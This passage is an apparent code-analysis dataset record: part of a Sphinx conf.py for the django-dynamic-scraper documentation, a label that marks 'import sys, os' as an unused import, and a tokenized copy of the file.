style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n\n# -- Options for HTML output ---------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\nhtml_theme = 'sphinx_rtd_theme'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'django-dynamic-scraperdoc'\n\n\n# -- Options for LaTeX output --------------------------------------------------\n\nlatex_elements = {\n# The paper size ('letterpaper' or 'a4paper').\n#'papersize': 'letterpaper',\n\n# The font size ('10pt', '11pt' or '12pt').\n#'pointsize': '10pt',\n\n# Additional stuff for the LaTeX preamble.\n#'preamble': '',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title, author, documentclass [howto/manual]).\nlatex_documents = [\n ('index', 'django-dynamic-scraper.tex', u'django-dynamic-scraper Documentation',\n u'Holger Drewes', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output --------------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n ('index', 'django-dynamic-scraper', u'django-dynamic-scraper Documentation',\n [u'Holger Drewes'], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n\n# -- Options for Texinfo output ------------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n ('index', 'django-dynamic-scraper', u'django-dynamic-scraper Documentation',\n u'Holger Drewes', 'django-dynamic-scraper', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "import sys, os",
"start_line": 13,
"start_column": 0,
"end_line": 13,
"end_column": 14
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"-*-",
" ",
"codi",
"ng",
":",
" ",
"utf",
"-",
"8",
" ",
"-*-",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
" ",
"documentation",
" ",
"build",
" ",
"configura",
"tion",
" ",
"file",
",",
" ",
"created",
" ",
"by_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"sphinx",
"-",
"quicks",
"tart",
" ",
"on",
" ",
"Mon",
" ",
"De",
"c",
" ",
" ",
"5",
" ",
"15",
":",
"05",
":",
"1",
"9",
" ",
"2011",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"file",
" ",
"is",
" ",
"execfile",
"()",
"d",
" ",
"with",
" ",
"the",
" ",
"current",
" ",
"director",
"y",
" ",
"set",
" ",
"to",
" ",
"its",
" ",
"contain",
"ing",
" ",
"dir",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Not",
"e",
" ",
"tha",
"t",
" ",
"not",
" ",
"all",
" ",
"possib",
"le",
" ",
"configura",
"tion",
" ",
"values",
" ",
"are",
" ",
"presen",
"t",
" ",
"in",
" ",
"this_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"autogen",
"erate",
"d",
" ",
"file",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"All",
" ",
"configura",
"tion",
" ",
"values",
" ",
"have",
" ",
"a",
" ",
"default",
";",
" ",
"values",
" ",
"tha",
"t",
" ",
"are",
" ",
"commente",
"d",
" ",
"out_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"serve",
" ",
"to",
" ",
"show",
" ",
"the",
" ",
"default",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"sys_",
",_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"extensi",
"ons",
" ",
"(",
"or",
" ",
"module",
"s",
" ",
"to",
" ",
"document",
" ",
"with",
" ",
"autod",
"oc",
")",
" ",
"are",
" ",
"in",
" ",
"anot",
"her",
" ",
"director",
"y",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"add",
" ",
"these",
" ",
"director",
"ies",
" ",
"to",
" ",
"sys",
".",
"path",
" ",
"here",
".",
" ",
"If",
" ",
"the",
" ",
"director",
"y",
" ",
"is",
" ",
"relative",
" ",
"to",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"documentation",
" ",
"root",
",",
" ",
"use",
" ",
"os",
".",
"path",
".",
"abs",
"path",
" ",
"to",
" ",
"make",
" ",
"it",
" ",
"abs",
"olute",
",",
" ",
"like",
" ",
"shown",
" ",
"here",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"sys",
".",
"path",
".",
"insert",
"(",
"0",
",",
" ",
"os",
".",
"path",
".",
"abs",
"path",
"('.",
"'))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"General",
" ",
"configura",
"tion",
" ",
"--------------",
"--------------",
"--------------",
"-----------",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"your",
" ",
"documentation",
" ",
"need",
"s",
" ",
"a",
" ",
"minima",
"l",
" ",
"Sph",
"inx",
" ",
"version",
",",
" ",
"state",
" ",
"it",
" ",
"here",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"need",
"s",
"\\u",
"sphinx",
" ",
"=",
" ",
"'",
"1.0",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"Sph",
"inx",
" ",
"extensi",
"on",
" ",
"module",
" ",
"names",
" ",
"here",
",",
" ",
"as",
" ",
"string",
"s",
".",
" ",
"The",
"y",
" ",
"can",
" ",
"be",
" ",
"extensions_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"comi",
"ng",
" ",
"with",
" ",
"Sph",
"inx",
" ",
"(",
"named",
" ",
"'",
"sphinx",
".",
"ext",
".*",
"')",
" ",
"or",
" ",
"your",
" ",
"custom",
" ",
"ones",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"extensions_",
"=_",
"[_",
"'",
"sphinx",
".",
"ext",
".",
"autod",
"oc",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"template",
"s",
" ",
"here",
",",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"template",
"s",
"\\u",
"path_",
"=_",
"[_",
"'\\u",
"template",
"s",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"suff",
"ix",
" ",
"of",
" ",
"source",
" ",
"filename",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"source",
"\\u",
"suffix_",
"=_",
"'.",
"rst",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"encoding",
" ",
"of",
" ",
"source",
" ",
"files",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"source",
"\\u",
"encoding",
" ",
"=",
" ",
"'",
"utf",
"-",
"8",
"-",
"sig",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"master",
" ",
"toc",
"tree",
" ",
"document",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"master",
"\\u",
"doc_",
"=_",
"'",
"index",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"General",
" ",
"informati",
"on",
" ",
"abo",
"ut",
" ",
"the",
" ",
"project",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"project_",
"=_",
"u",
"'",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"copyright_",
"=_",
"u",
"'",
"2016",
",",
" ",
"Hol",
"ger",
" ",
"Dre",
"we",
"s",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"version",
" ",
"info",
" ",
"for",
" ",
"the",
" ",
"project",
" ",
"you",
"'",
"re",
" ",
"document",
"ing",
",",
" ",
"acts",
" ",
"as",
" ",
"replace",
"ment",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"|",
"version",
"|",
" ",
"and",
" ",
"|",
"release",
"|",
",",
" ",
"als",
"o",
" ",
"used",
" ",
"in",
" ",
"vari",
"ous",
" ",
"other",
" ",
"place",
"s",
" ",
"through",
"out",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"bui",
"lt",
" ",
"document",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"short",
" ",
"X",
".",
"Y",
" ",
"version",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"version_",
"=_",
"'",
"0.10",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"The",
" ",
"full",
" ",
"version",
",",
" ",
"inclu",
"ding",
" ",
"alpha",
"/",
"beta",
"/",
"rc",
" ",
"tags",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"release_",
"=_",
"'",
"0.10",
"-",
"beta",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"language",
" ",
"for",
" ",
"content",
" ",
"autogen",
"erate",
"d",
" ",
"by",
" ",
"Sph",
"inx",
".",
" ",
"Refer",
" ",
"to",
" ",
"documentation",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"for",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"support",
"ed",
" ",
"language",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"language",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"There",
" ",
"are",
" ",
"two",
" ",
"options",
" ",
"for",
" ",
"repla",
"cing",
" ",
"|",
"toda",
"y",
"|",
":",
" ",
"eit",
"her",
",",
" ",
"you",
" ",
"set",
" ",
"toda",
"y",
" ",
"to",
" ",
"some",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"non",
"-",
"fal",
"se",
" ",
"value",
",",
" ",
"then",
" ",
"it",
" ",
"is",
" ",
"used",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"toda",
"y",
" ",
"=",
" ",
"''_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Else",
",",
" ",
"toda",
"y",
"\\u",
"fmt",
" ",
"is",
" ",
"used",
" ",
"as",
" ",
"the",
" ",
"format",
" ",
"for",
" ",
"a",
" ",
"strf",
"time",
" ",
"call",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"toda",
"y",
"\\u",
"fmt",
" ",
"=",
" ",
"'%",
"B",
" ",
"%",
"d",
",",
" ",
"%",
"Y",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"List",
" ",
"of",
" ",
"pattern",
"s",
",",
" ",
"relative",
" ",
"to",
" ",
"source",
" ",
"director",
"y",
",",
" ",
"tha",
"t",
" ",
"match",
" ",
"files",
" ",
"and_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"director",
"ies",
" ",
"to",
" ",
"ignore",
" ",
"whe",
"n",
" ",
"look",
"ing",
" ",
"for",
" ",
"source",
" ",
"files",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"exclu",
"de",
"\\u",
"patterns_",
"=_",
"[_",
"'\\u",
"build",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"re",
"ST",
" ",
"default",
" ",
"role",
" ",
"(",
"used",
" ",
"for",
" ",
"this",
" ",
"markup",
":",
" ",
"`",
"text",
"`)",
" ",
"to",
" ",
"use",
" ",
"for",
" ",
"all",
" ",
"document",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"default",
"\\u",
"role",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"'(",
")'",
" ",
"will",
" ",
"be",
" ",
"append",
"ed",
" ",
"to",
" ",
":",
"func",
":",
" ",
"etc",
".",
" ",
"cross",
"-",
"reference",
" ",
"text",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"add",
"\\u",
"function",
"\\u",
"parenthes",
"es",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"the",
" ",
"current",
" ",
"module",
" ",
"name",
" ",
"will",
" ",
"be",
" ",
"prepend",
"ed",
" ",
"to",
" ",
"all",
" ",
"description_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"unit",
" ",
"titles",
" ",
"(",
"suc",
"h",
" ",
"as",
" ",
"..",
" ",
"function",
"::",
").",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"add",
"\\u",
"module",
"\\u",
"names",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"section",
"author",
" ",
"and",
" ",
"module",
"author",
" ",
"directive",
"s",
" ",
"will",
" ",
"be",
" ",
"shown",
" ",
"in",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"output",
".",
" ",
"The",
"y",
" ",
"are",
" ",
"ignore",
"d",
" ",
"by",
" ",
"default",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"show",
"\\u",
"author",
"s",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"the",
" ",
"Pyg",
"ment",
"s",
" ",
"(",
"synta",
"x",
" ",
"highlight",
"ing",
")",
" ",
"style",
" ",
"to",
" ",
"use",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"pyg",
"ment",
"s",
"\\u",
"style_",
"=_",
"'",
"sphinx",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"A",
" ",
"list",
" ",
"of",
" ",
"ignore",
"d",
" ",
"prefix",
"es",
" ",
"for",
" ",
"module",
" ",
"index",
" ",
"sorting",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"modi",
"nde",
"x",
"\\u",
"common",
"\\u",
"prefix",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"HTM",
"L",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"---------",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"them",
"e",
" ",
"to",
" ",
"use",
" ",
"for",
" ",
"HTM",
"L",
" ",
"and",
" ",
"HTM",
"L",
" ",
"Help",
" ",
"page",
"s",
".",
" ",
" ",
"See",
" ",
"the",
" ",
"documentation",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"bui",
"lti",
"n",
" ",
"themes",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"html",
"\\u",
"theme_",
"=_",
"'",
"sphinx",
"\\u",
"rtd",
"\\u",
"them",
"e",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Them",
"e",
" ",
"options",
" ",
"are",
" ",
"them",
"e-",
"specific",
" ",
"and",
" ",
"customize",
" ",
"the",
" ",
"look",
" ",
"and",
" ",
"feel",
" ",
"of",
" ",
"a",
" ",
"theme_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"fur",
"ther",
".",
" ",
" ",
"For",
" ",
"a",
" ",
"list",
" ",
"of",
" ",
"options",
" ",
"avail",
"able",
" ",
"for",
" ",
"each",
" ",
"them",
"e",
",",
" ",
"see",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"documentation",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"them",
"e\\u",
"options",
" ",
"=",
" ",
"{}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"custom",
" ",
"themes",
" ",
"here",
",",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"them",
"e\\u",
"path",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"for",
" ",
"this",
" ",
"set",
" ",
"of",
" ",
"Sph",
"inx",
" ",
"document",
"s",
".",
" ",
" ",
"If",
" ",
"Non",
"e",
",",
" ",
"it",
" ",
"default",
"s",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"\"<",
"project",
">",
" ",
"v",
"<",
"release",
">",
" ",
"documentation",
"\".",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"title",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"A",
" ",
"shorter",
" ",
"title",
" ",
"for",
" ",
"the",
" ",
"navigation",
" ",
"bar",
".",
" ",
" ",
"Default",
" ",
"is",
" ",
"the",
" ",
"same",
" ",
"as",
" ",
"html",
"\\u",
"title",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"short",
"\\u",
"title",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"an",
" ",
"image",
" ",
"file",
" ",
"(",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
")",
" ",
"to",
" ",
"place",
" ",
"at",
" ",
"the",
" ",
"top_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"of",
" ",
"the",
" ",
"sidebar",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"logo",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"an",
" ",
"image",
" ",
"file",
" ",
"(",
"within",
" ",
"the",
" ",
"static",
" ",
"path",
")",
" ",
"to",
" ",
"use",
" ",
"as",
" ",
"fav",
"icon",
" ",
"of",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"docs",
".",
" ",
" ",
"Thi",
"s",
" ",
"file",
" ",
"shou",
"ld",
" ",
"be",
" ",
"a",
" ",
"Window",
"s",
" ",
"icon",
" ",
"file",
" ",
"(.",
"ico",
")",
" ",
"bei",
"ng",
" ",
"16",
"x1",
"6",
" ",
"or",
" ",
"32",
"x3",
"2_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"pixel",
"s",
" ",
"large",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"fav",
"icon",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Add",
" ",
"any",
" ",
"path",
"s",
" ",
"tha",
"t",
" ",
"contain",
" ",
"custom",
" ",
"static",
" ",
"files",
" ",
"(",
"suc",
"h",
" ",
"as",
" ",
"style",
" ",
"sheet",
"s",
")",
" ",
"here",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
".",
" ",
"The",
"y",
" ",
"are",
" ",
"copie",
"d",
" ",
"after",
" ",
"the",
" ",
"bui",
"lti",
"n",
" ",
"static",
" ",
"files",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"so",
" ",
"a",
" ",
"file",
" ",
"named",
" ",
"\"",
"default",
".",
"css",
"\"",
" ",
"will",
" ",
"overwrit",
"e",
" ",
"the",
" ",
"bui",
"lti",
"n",
" ",
"\"",
"default",
".",
"css",
"\".",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"html",
"\\u",
"static",
"\\u",
"path_",
"=_",
"[_",
"'\\u",
"static",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"not",
" ",
"''",
",",
" ",
"a",
" ",
"'",
"Las",
"t",
" ",
"update",
"d",
" ",
"on",
":'",
" ",
"timestamp",
" ",
"is",
" ",
"inserted",
" ",
"at",
" ",
"every",
" ",
"page",
" ",
"bottom",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"usi",
"ng",
" ",
"the",
" ",
"give",
"n",
" ",
"strf",
"time",
" ",
"format",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"last",
"\\u",
"update",
"d\\u",
"fmt",
" ",
"=",
" ",
"'%",
"b",
" ",
"%",
"d",
",",
" ",
"%",
"Y",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"Sma",
"rty",
"Pant",
"s",
" ",
"will",
" ",
"be",
" ",
"used",
" ",
"to",
" ",
"convert",
" ",
"quote",
"s",
" ",
"and",
" ",
"dashes",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"typo",
"graphical",
"ly",
" ",
"correct",
" ",
"entit",
"ies",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"use",
"\\u",
"smart",
"ypa",
"nts",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Custom",
" ",
"sidebar",
" ",
"template",
"s",
",",
" ",
"maps",
" ",
"document",
" ",
"names",
" ",
"to",
" ",
"template",
" ",
"names",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"sidebar",
"s",
" ",
"=",
" ",
"{}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Addition",
"al",
" ",
"template",
"s",
" ",
"tha",
"t",
" ",
"shou",
"ld",
" ",
"be",
" ",
"render",
"ed",
" ",
"to",
" ",
"page",
"s",
",",
" ",
"maps",
" ",
"page",
" ",
"names",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"template",
" ",
"names",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"addition",
"al",
"\\u",
"page",
"s",
" ",
"=",
" ",
"{}",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"module",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"domain",
"\\u",
"indice",
"s",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"use",
"\\u",
"index",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"the",
" ",
"index",
" ",
"is",
" ",
"split",
" ",
"int",
"o",
" ",
"individual",
" ",
"page",
"s",
" ",
"for",
" ",
"each",
" ",
"letter",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"split",
"\\u",
"index",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"link",
"s",
" ",
"to",
" ",
"the",
" ",
"re",
"ST",
" ",
"source",
"s",
" ",
"are",
" ",
"adde",
"d",
" ",
"to",
" ",
"the",
" ",
"page",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"show",
"\\u",
"source",
"link",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"\"",
"Creat",
"ed",
" ",
"usi",
"ng",
" ",
"Sph",
"inx",
"\"",
" ",
"is",
" ",
"shown",
" ",
"in",
" ",
"the",
" ",
"HTM",
"L",
" ",
"footer",
".",
" ",
"Default",
" ",
"is",
" ",
"Tru",
"e",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"show",
"\\u",
"sphinx",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
